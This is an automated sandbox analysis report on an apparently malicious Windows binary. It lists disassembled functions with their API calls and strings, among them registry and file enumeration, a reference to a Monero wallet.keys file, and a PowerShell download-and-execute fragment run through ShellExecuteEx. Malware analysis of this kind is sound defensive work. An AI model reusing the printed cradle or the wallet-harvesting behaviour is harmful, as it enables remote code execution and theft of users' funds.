Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: ed9ef68628e03aa4eba4899b8eea2de5b581b958ad73c92089e1edac346a2f61
Instruction ID: 3887ab6cfcd3adbea5c93de419f1a2112df41f8f2199513d8a410d4067708ddc
Opcode Fuzzy Hash: ed9ef68628e03aa4eba4899b8eea2de5b581b958ad73c92089e1edac346a2f61
Instruction Fuzzy Hash: 4D31F7F4A0021CABDB20DF54DC85BDDBBB4FB48708F1081D9EA09A7281D7706AC59F99

Function 003983DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00398426
wsprintfA.USER32 ref: 00398459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0039847B
RegCloseKey.ADVAPI32(00000000), ref: 0039848C
RegCloseKey.ADVAPI32(00000000), ref: 00398499

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

RegQueryValueExA.ADVAPI32(00000000,0115E370,00000000,000F003F,?,00000400), ref: 003984EC
lstrlen.KERNEL32(?), ref: 00398501
RegQueryValueExA.ADVAPI32(00000000,0115E1C0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,003A0B34), ref: 00398599
RegCloseKey.ADVAPI32(00000000), ref: 00398608
RegCloseKey.ADVAPI32(00000000), ref: 0039861A

Strings

%s\%s, xrefs: 0039844D

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: e4bb417d9937b2119fe535c10f980c29a88008b83c8b839fd1f3f95a3b22ffa4
Instruction ID: 3e6b7ed1cc97d9c1da75357b18dfc09011897963d97e64a7b6ce016433c36981
Opcode Fuzzy Hash: e4bb417d9937b2119fe535c10f980c29a88008b83c8b839fd1f3f95a3b22ffa4
Instruction Fuzzy Hash: BB21E77191022CAFDB24DB54DC85FE9B7B8FB48704F00C598E649A6140DF71AA85CFE4

Function 00397690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003976A4
RtlAllocateHeap.NTDLL(00000000), ref: 003976AB
RegOpenKeyExA.ADVAPI32(80000002,0114C0A8,00000000,00020119,00000000), ref: 003976DD
RegQueryValueExA.ADVAPI32(00000000,0115E2C8,00000000,00000000,?,000000FF), ref: 003976FE
RegCloseKey.ADVAPI32(00000000), ref: 00397708

Strings

Windows 11, xrefs: 003976BD

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: cb8db5e02f2800df3a77282e64789d8ef4bd6adad56fadcc4b767b83ff80461e
Instruction ID: d2e6878628788803fc740dcb17c03927ac5f5ad17e326620573cbb17d08cb6f6
Opcode Fuzzy Hash: cb8db5e02f2800df3a77282e64789d8ef4bd6adad56fadcc4b767b83ff80461e
Instruction Fuzzy Hash: 31014FB5A04608BFEB00DBE4DC49F7ABBB8EB58705F104454FA04D7291E67099089B51

Function 00397720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397734
RtlAllocateHeap.NTDLL(00000000), ref: 0039773B
RegOpenKeyExA.ADVAPI32(80000002,0114C0A8,00000000,00020119,003976B9), ref: 0039775B
RegQueryValueExA.ADVAPI32(003976B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0039777A
RegCloseKey.ADVAPI32(003976B9), ref: 00397784

Strings

CurrentBuildNumber, xrefs: 00397771

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 08a8ea59ff27b3b53c6e1d2a04e8d88fabd05030b4b664760667eb91ad1d3b29
Instruction ID: a241734f3ffb934f4067e92453623950949a34bd48407d1420da31ee2bfcd2ff
Opcode Fuzzy Hash: 08a8ea59ff27b3b53c6e1d2a04e8d88fabd05030b4b664760667eb91ad1d3b29
Instruction Fuzzy Hash: FE0112B5A4030CBFEB00DBE4DC4AFBEBBB8EB58705F104559FA05A7281DB705A049B91

Function 003992E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:9,80000000,00000003,00000000,00000003,00000080,00000000,?,00393AEE,?), ref: 003992FC
GetFileSizeEx.KERNEL32(000000FF,:9), ref: 00399319
CloseHandle.KERNEL32(000000FF), ref: 00399327

Strings

:9, xrefs: 00399311, 0039933D, 00399314
:9, xrefs: 003992F8, 003992FB

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :9$:9
API String ID: 1378416451-4108897303
Opcode ID: 3943233a66b01b6e75de5f958ebd01fc48ae45172291cf9d6ceac6b5de662fbb
Instruction ID: 452fd9cbc717bd64792a471d4d0a085ea2f1c856977c538733bc99e97081d0a1
Opcode Fuzzy Hash: 3943233a66b01b6e75de5f958ebd01fc48ae45172291cf9d6ceac6b5de662fbb
Instruction Fuzzy Hash: 06F03C79E40208FBDF10DFB4DC49F9E7BF9EB58710F118258B651A72C0E67096459B50

Function 003899C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
LocalFree.KERNEL32(0038148F), ref: 00389A90
CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 251152cac92f4f1204448afad754a70a7fbe69006cd60e1841eef95597b80e19
Instruction ID: 00f62bc10d2f06762c1ce2811320b38808553349923b31f288be8432a9452333
Opcode Fuzzy Hash: 251152cac92f4f1204448afad754a70a7fbe69006cd60e1841eef95597b80e19
Instruction Fuzzy Hash: 803116B4A00309EFDB15DF94C885FAE7BB9FF48304F108199E911A7290D778AA45CFA1

Function 00394780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0115E538), ref: 003947DB

Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

lstrcat.KERNEL32(?,00000000), ref: 00394801
lstrcat.KERNEL32(?,?), ref: 00394820
lstrcat.KERNEL32(?,?), ref: 00394834
lstrcat.KERNEL32(?,0114B958), ref: 00394847
lstrcat.KERNEL32(?,?), ref: 0039485B
lstrcat.KERNEL32(?,0115DC00), ref: 0039486F

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 00398D90: GetFileAttributesA.KERNEL32(00000000,?,00381B54,?,?,003A564C,?,?,003A0E1F), ref: 00398D9F

Part of subcall function 00394570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00394580
Part of subcall function 00394570: RtlAllocateHeap.NTDLL(00000000), ref: 00394587
Part of subcall function 00394570: wsprintfA.USER32 ref: 003945A6
Part of subcall function 00394570: FindFirstFileA.KERNEL32(?,?), ref: 003945BD

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 8f0cf2a26f38902b8e247d5a0c2c5906185ebdd31018c958c6d3f14b4ccf1214
Instruction ID: 8ab92cd689779097317d1f8185965364b3abbca654ce664b8130c6dff7d0d0ac
Opcode Fuzzy Hash: 8f0cf2a26f38902b8e247d5a0c2c5906185ebdd31018c958c6d3f14b4ccf1214
Instruction Fuzzy Hash: F13184B290021C5BCF12F7B0DC85EE9777CAB58704F404589B315EA081EE749B8ECB95

Function 00392C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

ShellExecuteEx.SHELL32(0000003C), ref: 00392D85

Strings

<, xrefs: 00392D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00392CC4
')", xrefs: 00392CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00392D04

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: e17f70629b6f4febc3789008b0e9eb9644165db486d0556991bdd3a4ae6b2afc
Instruction ID: 3d89e451b0134de5cba17644aebd4d6396d4cca1548951fe18068c7e3cbefaae
Opcode Fuzzy Hash: e17f70629b6f4febc3789008b0e9eb9644165db486d0556991bdd3a4ae6b2afc
Instruction Fuzzy Hash: D641BD71C106189ADF1AEBA0C892FEDBB78AF14300F404219E116AA191DF746A4ADFD6

Function 00389E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00389F41

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00389E67
@, xrefs: 00389EF1
v20, xrefs: 00389E21
v10, xrefs: 00389EA3

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: bc78e0da8bdcfd688d55708eac6e874ddd8bd4f4e50420e2eaa3728b1a275d4a
Instruction ID: 9ee28b8b92e5744d7de88d3264d86ab76f5a7fd1a6e6a7786fb44071c7f4bd18
Opcode Fuzzy Hash: bc78e0da8bdcfd688d55708eac6e874ddd8bd4f4e50420e2eaa3728b1a275d4a
Instruction Fuzzy Hash: 99612D71A10748DBDF15EFA4CC96BED7779AF45300F008118F90A5F591EB746A06CB92

Function 003940B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0115DA40,00000000,00020119,?), ref: 003940F4
RegQueryValueExA.ADVAPI32(?,0115E418,00000000,00000000,00000000,000000FF), ref: 00394118
RegCloseKey.ADVAPI32(?), ref: 00394122
lstrcat.KERNEL32(?,00000000), ref: 00394147
lstrcat.KERNEL32(?,0115E550), ref: 0039415B

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 7d106905d594611ce35351b287359d5b8648642e7e66f62dab909754a20236cb
Instruction ID: d151493793ad9709ab334dca937bede1bb1ded965656a3f3972f70a333d3f370
Opcode Fuzzy Hash: 7d106905d594611ce35351b287359d5b8648642e7e66f62dab909754a20236cb
Instruction Fuzzy Hash: 8B4187B6D0020C6BDF15FBA0EC46FFE777DAB98304F004558B6199A181EA755B8C8BD2

Function 00397E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397E37
RtlAllocateHeap.NTDLL(00000000), ref: 00397E3E
RegOpenKeyExA.ADVAPI32(80000002,0114C2D8,00000000,00020119,?), ref: 00397E5E
RegQueryValueExA.ADVAPI32(?,0115DC80,00000000,00000000,000000FF,000000FF), ref: 00397E7F
RegCloseKey.ADVAPI32(?), ref: 00397E92

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d4968b7530e54424e6999bafa8548eef040f1453c896672dd88b34ffd5d39349
Instruction ID: 78733bb401f4613260b543a5ff669a32013de9ad7076e20188d879113f4ef110
Opcode Fuzzy Hash: d4968b7530e54424e6999bafa8548eef040f1453c896672dd88b34ffd5d39349
Instruction Fuzzy Hash: DF118CB1A44609EFDB04CB95DD4AFBBBBBCFB04B04F104119F605A7280D77458049BA1

Function 00399260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

